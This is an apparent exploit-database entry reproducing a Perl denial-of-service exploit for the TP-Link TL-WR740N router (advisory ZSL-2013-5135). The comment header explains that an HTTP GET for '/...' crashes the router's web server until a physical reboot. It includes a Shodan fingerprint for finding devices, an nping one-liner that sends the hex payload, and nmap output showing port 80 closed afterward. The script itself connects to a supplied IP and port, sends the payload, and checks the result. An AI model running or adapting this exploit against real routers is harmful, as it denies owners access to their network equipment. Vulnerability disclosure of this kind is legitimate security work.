发布 2013-03-22 漏洞条目

TP-Link TL-WR740N Wireless Router – Denial of Service

Exploit Source

#!/usr/local/bin/perl

# TP-Link TL-WR740N Wireless Router Remote Denial Of Service Exploit

# Vendor: TP-LINK Technologies Co., Ltd.

# Product web page: http://www.tp-link.us

# Affected version:

# - Firmware version: 3.16.4 Build 130205 Rel.63875n (Released: 2/5/2013)

# - Hardware version: WR740N v4 00000000 (v4.23)

# - Model No. TL-WR740N / TL-WR740ND

# Summary: The TL-WR740N is a combined wired/wireless network connection

# device integrated with internet-sharing router and 4-port switch. The

# wireless N Router is 802.11b&g compatible based on 802.11n technology

# and gives you 802.11n performance up to 150Mbps at an even more affordable

# price. Bordering on 11n and surpassing 11g speed enables high bandwidth

# consuming applications like video streaming to be more fluid.

# Desc: The TP-Link WR740N Wireless N Router network device is exposed to a

# remote denial of service vulnerability when processing a HTTP request. This

# issue occurs when the web server (httpd) fails to handle a HTTP GET request

# over a given default TCP port 80. Sending a sequence of three dots (...) to

# the router will crash its httpd service denying the legitimate users access

# to the admin control panel management interface. To bring back the http srv

# and the admin UI, a user must physically reboot the router.

# ============================== Playground: ==============================

# Shodan: WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Router WR740N"

# # nmap -sV 192.168.0.1

# Starting Nmap 6.01 ( http://nmap.org ) at 2013-03-19 04:53 Central European Standard Time

# Nmap scan report for 192.168.0.1

# Host is up (0.00s latency).

# Not shown: 999 closed ports

# PORT STATE SERVICE VERSION

# 80/tcp open http TP-LINK WR740N WAP http config

# MAC Address: AA:BB:CC:DD:EE:FF (Tp-link Technologies CO.)

# Service Info: Device: WAP

# Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

# Nmap done: 1 IP address (1 host up) scanned in 12.42 seconds

# --------------------------------------------------------------------------

# Changed Probe Directive in nmap-service-probes file [4 d range]:

# - Line: 4682: Probe TCP GetRequest q|GET / HTTP/1.0\r\n\r\n|

# + Line: 4682: Probe TCP GetRequest q|GET /... HTTP/1.0\r\n\r\n|

# --------------------------------------------------------------------------

# # nping -c1 --tcp -p80 192.168.0.1 --data "474554202f2e2e2e20485454502f312e310d0a0d0a"

# Starting Nping 0.6.01 ( http://nmap.org/nping ) at 2013-03-19 04:55 Central European Standard Time

# SENT (0.0920s) TCP 192.168.0.101:19835 > 192.168.0.1:80 S ttl=64 id=21796 iplen=61 seq=1961954057 win=1480

# RCVD (0.1220s) TCP 192.168.0.1:80 > 192.168.0.101:19835 RA ttl=64 id=0 iplen=40 seq=0 win=0

# Max rtt: 0.000ms | Min rtt: 0.000ms | Avg rtt: 0.000ms

# Raw packets sent: 1 (75B) | Rcvd: 1 (46B) | Lost: 0 (0.00%)

# Tx time: 0.04000s | Tx bytes/s: 1875.00 | Tx pkts/s: 25.00

# Rx time: 1.04000s | Rx bytes/s: 44.23 | Rx pkts/s: 0.96

# Nping done: 1 IP address pinged in 1.12 seconds

# --------------------------------------------------------------------------

# # nmap -Pn 192.168.0.1 -p80

# Starting Nmap 6.01 ( http://nmap.org ) at 2013-03-19 04:57 Central European Standard Time

# Nmap scan report for 192.168.0.1

# Host is up (0.00s latency).

# PORT STATE SERVICE

# 80/tcp closed http

# MAC Address: AA:BB:CC:DD:EE:FF (Tp-link Technologies CO.)

# Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

# ============================= !Playground ===============================

# Tested on: Router Webserver

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# Macedonian Information Security Research And Development Laboratory

# http://www.zeroscience.mk

# Advisory ID: ZSL-2013-5135

# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5135.php

# 17.03.2013

use IO::Socket;

$ip="$ARGV[0]"; $port="$ARGV[1]";

print "\n\n\x20"."\x1f"x42 ."\n";

print "\x20\x1f"."\x20"x40 ."\x1f\n";

print "\x20\x1f TP-Link TL-WR740N httpd DoS Exploit \x1f\n";

print "\x20\x1f"."\x20"x40 ."\x1f\n";

print "\x20\x1f"."\x20"x7 ."\x16"x5 ."\x20"x15 ."\x16"x5 ."\x20"x8 ."\x1f\n";

print "\x20\x1f"."\x20"x9 ."\x16"."\x20"x19 ."\x16"."\x20"x10 ."\x1f\n";

print "\x20" ."\x1f"x42 ."\n";

print "\x20\x4" ."\x20"x40 ."\x4\n";

print "\x20" ."\x1e" x 42 ."\n";

if($#ARGV<1)

{

print "\n\n\x20\x20\x1a\x20Usage: $0 <ip> <port>\n\n";

exit();

}

$socket=IO::Socket::INET->new(

Proto => "tcp",

PeerAddr => $ip,

PeerPort => $port

);

$ta4ke="\x47\x45\x54\x20".

"\x2f\x2e\x2e\x2e".

"\x20\x48\x54\x54".

"\x50\x2f\x31\x2e".

"\x31\x0d\x0a\x0d".

"\x0a";

print "\n\x20\x1a\x20Sending evil payload...\n"; sleep 2;

print $socket "$ta4ke"; sleep 5; close $socket;

print "\x20\x1a\x20HTTPd successfully poked.\n"; sleep 2;

print "\x20\x1a\x20Verifying with Nmap...\n"; sleep 2;

system("nmap -Pn $ip -p $port");

print "\n\x20\x1a\x20Playing goa-psy...\n"; sleep 2;

system("start C:\\Progra~1\\Winamp\\winamp.exe http://scfire-ntc-aa01.stream.aol.com:80/stream/1008");

sleep 1; print "\x20\x1a\x20All Done!\n"; sleep 1;

# Codename: Threetwoees

作者: LiquidWorm
日期: 2013-03-22
类别: dos
平台: hardware

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